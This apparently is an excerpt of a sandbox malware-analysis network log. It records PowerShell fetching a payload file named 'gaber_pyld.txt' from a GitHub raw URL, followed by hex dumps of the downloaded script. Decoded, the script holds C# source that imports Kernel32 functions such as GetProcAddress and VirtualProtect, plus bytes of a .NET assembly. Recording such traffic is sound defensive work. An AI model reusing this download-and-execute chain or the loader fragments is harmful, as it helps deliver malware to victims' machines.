2024-09-16 06:22:37 UTC	1378	IN	Data Raw: 24 62 79 74 65 73 20 3d 20 40 28 30 78 32 34 2c 20 30 78 30 30 2c 20 30 78 35 33 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 33 44 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 34 30 2c 20 30 78 30 30 2c 20 30 78 32 32 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 37 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 35 33 2c 20 30 78 30 30 2c 20 30 78 37 39 Data Ascii: $bytes = @(0x24, 0x00, 0x53, 0x00, 0x6F, 0x00, 0x75, 0x00, 0x72, 0x00, 0x63, 0x00, 0x65, 0x00, 0x20, 0x00, 0x3D, 0x00, 0x20, 0x00, 0x40, 0x00, 0x22, 0x00, 0x0A, 0x00, 0x75, 0x00, 0x73, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x20, 0x00, 0x53, 0x00, 0x79
2024-09-16 06:22:37 UTC	1378	IN	Data Raw: 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 36 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 36 31 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 39 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 46 2c 20 30 78 30 30 2c 20 30 78 Data Ascii: 0x73, 0x00, 0x73, 0x00, 0x20, 0x00, 0x66, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x20, 0x00, 0x63, 0x00, 0x6C, 0x00, 0x61, 0x00, 0x72, 0x00, 0x69, 0x00, 0x74, 0x00, 0x79, 0x00, 0x0A, 0x00, 0x0A, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x2F, 0x00, 0x
2024-09-16 06:22:37 UTC	1378	IN	Data Raw: 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 36 31 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 31 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 Data Ascii: 0, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x20, 0x00, 0x64, 0x00, 0x65, 0x00, 0x63, 0x00, 0x6C, 0x00, 0x61, 0x00, 0x72, 0x00, 0x61, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x73, 0x00, 0x0A, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00,
2024-09-16 06:22:37 UTC	1378	IN	Data Raw: 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 37 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 37 30 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 34 45 2c 20 30 78 30 30 2c 20 30 78 36 31 2c 20 30 78 30 30 2c 20 30 78 36 44 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 32 39 2c 20 30 78 30 30 2c 20 30 78 33 42 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 Data Ascii: x00, 0x74, 0x00, 0x72, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x20, 0x00, 0x70, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x4E, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x29, 0x00, 0x3B, 0x00, 0x0A, 0x00, 0x0A, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00
2024-09-16 06:22:37 UTC	1378	IN	Data Raw: 20 30 78 30 30 2c 20 30 78 34 34 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 34 39 2c 20 30 78 30 30 2c 20 30 78 36 44 2c 20 30 78 30 30 2c 20 30 78 37 30 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 32 38 2c 20 30 78 30 30 2c 20 30 78 34 42 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 33 33 2c 20 30 78 30 30 2c 20 30 78 33 32 2c 20 30 78 30 30 2c 20 30 78 34 43 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 32 2c 20 30 78 Data Ascii: 0x00, 0x44, 0x00, 0x6C, 0x00, 0x6C, 0x00, 0x49, 0x00, 0x6D, 0x00, 0x70, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x74, 0x00, 0x28, 0x00, 0x4B, 0x00, 0x65, 0x00, 0x72, 0x00, 0x6E, 0x00, 0x65, 0x00, 0x6C, 0x00, 0x33, 0x00, 0x32, 0x00, 0x4C, 0x00, 0x69, 0x00, 0x62, 0x
2024-09-16 06:22:37 UTC	1378	IN	Data Raw: 45 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 37 2c 20 30 78 30 30 2c 20 30 78 35 30 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 32 43 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 Data Ascii: E, 0x00, 0x65, 0x00, 0x77, 0x00, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x74, 0x00, 0x65, 0x00, 0x63, 0x00, 0x74, 0x00, 0x2C, 0x00, 0x20, 0x00, 0x6F, 0x00, 0x75, 0x00, 0x74, 0x00, 0x20, 0x00, 0x75, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x20, 0x00, 0x6C,
2024-09-16 06:22:37 UTC	1378	IN	Data Raw: 78 34 37 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 35 30 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 34 31 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 32 38 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 37 2c 20 30 78 30 30 2c 20 30 78 32 30 Data Ascii: x47, 0x00, 0x65, 0x00, 0x74, 0x00, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x41, 0x00, 0x64, 0x00, 0x64, 0x00, 0x72, 0x00, 0x65, 0x00, 0x73, 0x00, 0x73, 0x00, 0x28, 0x00, 0x73, 0x00, 0x74, 0x00, 0x72, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x20
2024-09-16 06:22:37 UTC	1378	IN	Data Raw: 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 38 2c 20 30 78 30 30 2c 20 30 78 36 38 2c 20 30 78 30 30 2c 20 30 78 34 44 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 33 44 2c 20 30 78 30 30 2c 20 30 78 33 44 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 34 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 35 30 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 32 45 2c 20 30 78 30 30 2c 20 30 78 35 41 2c 20 30 78 30 30 2c 20 30 78 Data Ascii: 0x20, 0x00, 0x28, 0x00, 0x68, 0x00, 0x4D, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x75, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x20, 0x00, 0x3D, 0x00, 0x3D, 0x00, 0x20, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x50, 0x00, 0x74, 0x00, 0x72, 0x00, 0x2E, 0x00, 0x5A, 0x00, 0x
2024-09-16 06:22:37 UTC	1378	IN	Data Raw: 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 34 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 35 30 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 37 30 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 34 31 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 Data Ascii: 0, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x50, 0x00, 0x74, 0x00, 0x72, 0x00, 0x20, 0x00, 0x70, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x41, 0x00, 0x64, 0x00, 0x64, 0x00,
2024-09-16 06:22:37 UTC	1378	IN	Data Raw: 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 38 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 37 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 37 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 34 35 2c 20 30 78 30 30 2c 20 30 78 37 38 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 30 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 Data Ascii: x00, 0x20, 0x00, 0x20, 0x00, 0x74, 0x00, 0x68, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x20, 0x00, 0x6E, 0x00, 0x65, 0x00, 0x77, 0x00, 0x20, 0x00, 0x45, 0x00, 0x78, 0x00, 0x63, 0x00, 0x65, 0x00, 0x70, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49733	185.199.109.133	443	2132	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-16 06:22:37 UTC	227	OUT	GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-09-16 06:22:37 UTC	902	IN	HTTP/1.1 200 OK Connection: close Content-Length: 159293 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "80ad5dac8b21f93f5913af03c53e98e879731d41370452cf941cf04d26ae655d" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 712A:2E384B:5AF22B:65EE49:66E7CEAD Accept-Ranges: bytes Date: Mon, 16 Sep 2024 06:22:37 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740064-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1726467758.786953,VS0,VE87 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: a5430b1395ec84cd1b4146cc7efeb68368a3c470 Expires: Mon, 16 Sep 2024 06:27:37 GMT Source-Age: 0
2024-09-16 06:22:37 UTC	16384	IN	Data Raw: 24 62 79 74 65 73 20 3d 20 40 28 30 78 32 34 2c 20 30 78 30 30 2c 20 30 78 35 33 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 33 44 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 34 30 2c 20 30 78 30 30 2c 20 30 78 32 32 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 37 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 35 33 2c 20 30 78 30 30 2c 20 30 78 37 39 Data Ascii: $bytes = @(0x24, 0x00, 0x53, 0x00, 0x6F, 0x00, 0x75, 0x00, 0x72, 0x00, 0x63, 0x00, 0x65, 0x00, 0x20, 0x00, 0x3D, 0x00, 0x20, 0x00, 0x40, 0x00, 0x22, 0x00, 0x0A, 0x00, 0x75, 0x00, 0x73, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x20, 0x00, 0x53, 0x00, 0x79
2024-09-16 06:22:38 UTC	16384	IN	Data Raw: 20 30 78 30 30 2c 20 30 78 32 45 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 32 32 2c 20 30 78 30 30 2c 20 30 78 32 39 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 32 34 2c 20 30 78 30 30 2c 20 30 78 37 31 2c 20 30 78 30 30 2c 20 30 78 35 31 2c 20 30 78 30 30 2c 20 30 78 35 31 2c 20 30 78 30 30 2c 20 30 78 33 33 2c 20 30 78 30 30 2c 20 30 78 33 30 2c 20 30 78 30 30 2c 20 30 78 33 32 2c 20 30 78 30 30 2c 20 30 78 33 33 2c 20 30 78 30 30 2c 20 30 78 36 41 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 37 2c 20 30 78 30 30 2c 20 30 78 36 36 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 Data Ascii: 0x00, 0x2E, 0x00, 0x64, 0x00, 0x6C, 0x00, 0x6C, 0x00, 0x22, 0x00, 0x29, 0x00, 0x0A, 0x00, 0x24, 0x00, 0x71, 0x00, 0x51, 0x00, 0x51, 0x00, 0x33, 0x00, 0x30, 0x00, 0x32, 0x00, 0x33, 0x00, 0x6A, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x66, 0x00, 0x6F, 0x
2024-09-16 06:22:38 UTC	16384	IN	Data Raw: 32 32 31 2c 30 2c 30 2c 30 2c 30 2c 32 35 34 2c 31 32 2c 30 2c 30 2c 34 32 2c 30 2c 30 2c 30 2c 31 2c 31 36 2c 30 2c 30 2c 30 2c 30 2c 36 38 2c 30 2c 38 35 2c 31 35 33 2c 30 2c 31 35 2c 36 38 2c 30 2c 30 2c 31 2c 32 37 2c 34 38 2c 34 2c 30 2c 37 30 2c 31 2c 30 2c 30 2c 31 34 2c 30 2c 30 2c 31 37 2c 33 32 2c 30 2c 30 2c 30 2c 30 2c 32 35 34 2c 31 34 2c 34 2c 30 2c 35 36 2c 34 39 2c 30 2c 30 2c 30 2c 30 2c 32 35 34 2c 31 32 2c 34 2c 30 2c 33 32 2c 30 2c 30 2c 30 2c 30 2c 32 35 34 2c 31 2c 35 37 2c 31 30 2c 30 2c 30 2c 30 2c 30 2c 33 32 2c 31 2c 30 2c 30 2c 30 2c 32 35 34 2c 31 34 2c 34 2c 30 2c 30 2c 32 35 34 2c 31 32 2c 34 2c 30 2c 33 32 2c 31 2c 30 2c 30 2c 30 2c 32 35 34 2c 31 2c 35 37 2c 35 2c 30 2c 30 2c 30 2c 35 36 2c 35 2c 30 2c 30 2c 30 2c 35 36 2c Data Ascii: 221,0,0,0,0,254,12,0,0,42,0,0,0,1,16,0,0,0,0,68,0,85,153,0,15,68,0,0,1,27,48,4,0,70,1,0,0,14,0,0,17,32,0,0,0,0,254,14,4,0,56,49,0,0,0,0,254,12,4,0,32,0,0,0,0,254,1,57,10,0,0,0,0,32,1,0,0,0,254,14,4,0,0,254,12,4,0,32,1,0,0,0,254,1,57,5,0,0,0,56,5,0,0,0,56,
2024-09-16 06:22:38 UTC	16384	IN	Data Raw: 2c 30 2c 31 34 32 2c 31 30 35 2c 34 30 2c 31 36 34 2c 30 2c 30 2c 31 30 2c 32 35 34 2c 31 34 2c 32 2c 30 2c 32 35 34 2c 31 32 2c 31 2c 30 2c 32 35 34 2c 31 34 2c 33 2c 30 2c 32 30 2c 32 35 34 2c 31 34 2c 34 2c 30 2c 31 31 34 2c 35 30 2c 36 2c 30 2c 31 31 32 2c 32 35 34 2c 31 34 2c 35 2c 30 2c 33 32 2c 33 2c 30 2c 30 2c 30 2c 31 34 31 2c 31 2c 30 2c 30 2c 31 2c 33 37 2c 33 32 2c 30 2c 30 2c 30 2c 30 2c 32 35 34 2c 31 32 2c 32 2c 30 2c 34 30 2c 37 30 2c 30 2c 30 2c 31 30 2c 31 36 32 2c 33 37 2c 33 32 2c 31 2c 30 2c 30 2c 30 2c 33 32 2c 30 2c 30 2c 30 2c 30 2c 31 34 30 2c 31 30 35 2c 30 2c 30 2c 31 2c 31 36 32 2c 33 37 2c 33 32 2c 32 2c 30 2c 30 2c 30 2c 33 32 2c 34 2c 30 2c 30 2c 30 2c 31 34 30 2c 31 30 35 2c 30 2c 30 2c 31 2c 31 36 32 2c 32 35 34 2c 31 34 Data Ascii: ,0,142,105,40,164,0,0,10,254,14,2,0,254,12,1,0,254,14,3,0,20,254,14,4,0,114,50,6,0,112,254,14,5,0,32,3,0,0,0,141,1,0,0,1,37,32,0,0,0,0,254,12,2,0,40,70,0,0,10,162,37,32,1,0,0,0,32,0,0,0,0,140,105,0,0,1,162,37,32,2,0,0,0,32,4,0,0,0,140,105,0,0,1,162,254,14
2024-09-16 06:22:38 UTC	16384	IN	Data Raw: 2c 35 2c 30 2c 32 30 2c 31 31 34 2c 37 37 2c 31 32 2c 30 2c 31 31 32 2c 33 32 2c 32 2c 30 2c 30 2c 30 2c 31 34 31 2c 31 2c 30 2c 30 2c 31 2c 33 37 2c 33 32 2c 31 2c 30 2c 30 2c 30 2c 33 32 2c 32 2c 30 2c 30 2c 30 2c 31 34 31 2c 31 2c 30 2c 30 2c 31 2c 33 37 2c 33 32 2c 30 2c 30 2c 30 2c 30 2c 31 32 36 2c 34 38 2c 30 2c 30 2c 34 2c 33 32 2c 32 2c 30 2c 30 2c 30 2c 31 35 34 2c 31 36 32 2c 33 37 2c 33 32 2c 31 2c 30 2c 30 2c 30 2c 31 32 36 2c 34 38 2c 30 2c 30 2c 34 2c 33 32 2c 33 2c 30 2c 30 2c 30 2c 31 35 34 2c 34 30 2c 35 32 2c 30 2c 30 2c 31 30 2c 34 30 2c 35 36 2c 30 2c 30 2c 36 2c 31 36 32 2c 31 36 32 2c 32 30 2c 32 30 2c 32 30 2c 33 32 2c 31 2c 30 2c 30 2c 30 2c 34 30 2c 31 31 37 2c 30 2c 30 2c 31 30 2c 33 38 2c 32 32 31 2c 35 35 2c 33 2c 30 2c 30 2c Data Ascii: ,5,0,20,114,77,12,0,112,32,2,0,0,0,141,1,0,0,1,37,32,1,0,0,0,32,2,0,0,0,141,1,0,0,1,37,32,0,0,0,0,126,48,0,0,4,32,2,0,0,0,154,162,37,32,1,0,0,0,126,48,0,0,4,32,3,0,0,0,154,40,52,0,0,10,40,56,0,0,6,162,162,20,20,20,32,1,0,0,0,40,117,0,0,10,38,221,55,3,0,0,
2024-09-16 06:22:38 UTC	16384	IN	Data Raw: 2c 30 2c 32 35 34 2c 31 32 2c 31 2c 30 2c 34 30 2c 32 31 2c 31 2c 30 2c 31 30 2c 35 38 2c 32 34 2c 30 2c 30 2c 30 2c 32 35 34 2c 31 32 2c 32 2c 30 2c 34 30 2c 32 31 2c 31 2c 30 2c 31 30 2c 35 38 2c 31 30 2c 30 2c 30 2c 30 2c 33 32 2c 30 2c 30 2c 30 2c 30 2c 35 36 2c 35 2c 30 2c 30 2c 30 2c 33 32 2c 31 2c 30 2c 30 2c 30 2c 31 34 30 2c 37 38 2c 30 2c 30 2c 31 2c 34 30 2c 32 31 2c 31 2c 30 2c 31 30 2c 35 37 2c 34 32 2c 30 2c 30 2c 30 2c 32 35 34 2c 31 32 2c 33 2c 30 2c 32 30 2c 31 31 34 2c 31 32 2c 31 35 2c 30 2c 31 31 32 2c 33 32 2c 30 2c 30 2c 30 2c 30 2c 31 34 31 2c 31 2c 30 2c 30 2c 31 2c 32 30 2c 32 30 2c 32 30 2c 34 30 2c 31 36 35 2c 30 2c 30 2c 31 30 2c 34 30 2c 37 30 2c 30 2c 30 2c 31 30 2c 32 35 34 2c 31 34 2c 33 2c 30 2c 35 36 2c 33 37 2c 30 2c 30 Data Ascii: ,0,254,12,1,0,40,21,1,0,10,58,24,0,0,0,254,12,2,0,40,21,1,0,10,58,10,0,0,0,32,0,0,0,0,56,5,0,0,0,32,1,0,0,0,140,78,0,0,1,40,21,1,0,10,57,42,0,0,0,254,12,3,0,20,114,12,15,0,112,32,0,0,0,0,141,1,0,0,1,20,20,20,40,165,0,0,10,40,70,0,0,10,254,14,3,0,56,37,0,0
2024-09-16 06:22:38 UTC	16384	IN	Data Raw: 31 2c 31 36 39 2c 32 2c 32 32 35 2c 30 2c 38 31 2c 32 31 2c 31 38 34 2c 32 2c 32 33 33 2c 30 2c 38 31 2c 32 31 2c 31 38 34 2c 32 2c 32 34 31 2c 30 2c 38 31 2c 32 31 2c 31 38 34 2c 32 2c 32 34 39 2c 30 2c 38 31 2c 32 31 2c 31 38 34 2c 32 2c 31 2c 31 2c 38 31 2c 32 31 2c 31 38 34 2c 32 2c 39 2c 31 2c 38 31 2c 32 31 2c 31 38 34 2c 32 2c 31 37 2c 31 2c 38 31 2c 32 31 2c 31 38 34 2c 32 2c 32 35 2c 31 2c 38 31 2c 32 31 2c 31 38 34 2c 32 2c 33 33 2c 31 2c 38 31 2c 32 31 2c 31 38 34 2c 32 2c 34 31 2c 31 2c 38 31 2c 32 31 2c 31 38 34 2c 32 2c 34 39 2c 31 2c 38 31 2c 32 31 2c 33 34 2c 30 2c 35 37 2c 31 2c 38 31 2c 32 31 2c 33 34 2c 30 2c 36 35 2c 31 2c 38 31 2c 32 31 2c 33 34 2c 30 2c 37 33 2c 31 2c 38 31 2c 32 31 2c 31 32 32 2c 33 2c 38 39 2c 31 2c 38 31 2c 32 31 Data Ascii: 1,169,2,225,0,81,21,184,2,233,0,81,21,184,2,241,0,81,21,184,2,249,0,81,21,184,2,1,1,81,21,184,2,9,1,81,21,184,2,17,1,81,21,184,2,25,1,81,21,184,2,33,1,81,21,184,2,41,1,81,21,184,2,49,1,81,21,34,0,57,1,81,21,34,0,65,1,81,21,34,0,73,1,81,21,122,3,89,1,81,21
